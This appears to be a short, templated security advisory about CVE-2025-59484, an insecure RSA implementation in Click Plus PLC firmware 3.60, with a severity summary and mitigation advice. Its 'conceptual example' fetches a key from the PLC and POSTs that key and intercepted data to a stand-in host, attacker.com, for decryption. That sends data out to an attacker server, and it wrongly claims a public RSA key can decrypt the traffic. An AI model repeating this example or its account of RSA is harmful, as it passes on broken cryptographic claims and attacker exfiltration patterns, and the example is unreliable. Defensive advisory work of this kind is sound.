Overview
A major security flaw, identified as CVE-2025-59484, has been discovered in firmware version 3.60 of the Click Plus Programmable Logic Controller (PLC). This vulnerability arises from the use of an insecure implementation of the RSA encryption algorithm, a cryptographic system widely used for secure data transmission. This flaw is significant as it exposes the system to potential compromise and data leakage. Any organization or entity using the affected firmware is at risk and needs to take immediate steps to mitigate the potential impact.
Vulnerability Summary
CVE ID: CVE-2025-59484
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Click Plus PLC firmware | 3.60
How the Exploit Works
The CVE-2025-59484 exploits a flaw in the RSA encryption algorithm implementation used in the affected Click Plus PLC firmware. Attackers exploiting this vulnerability could potentially gain unauthorized access to the system or intercept, decrypt, and read data transmitted across the network. This vulnerability is particularly dangerous as it does not require any user interaction to be exploited and only requires low-level privileges.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability:
GET /rsa_key HTTP/1.1
Host: vulnerable.plc.com
Accept: application/json
Response:
{
"rsa_key": "public key in insecure implementation..."
}
POST /decrypt HTTP/1.1
Host: attacker.com
Content-Type: application/json
{
"rsa_key": "public key from insecure implementation...",
"encrypted_data": "intercepted encrypted data..."
}In this example, the attacker first fetches the public RSA key from the insecure implementation of the affected PLC firmware. They then use this key to decrypt intercepted data on their own server.
Recommendations for Mitigation
The most effective mitigation for this vulnerability is to apply the vendor-provided patch. Organizations unable to immediately apply the patch can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. This will help detect and block attempts to exploit this vulnerability, although it is not a permanent solution. Moreover, regular security audits and penetration testing can help identify and fix such vulnerabilities before they can be exploited.
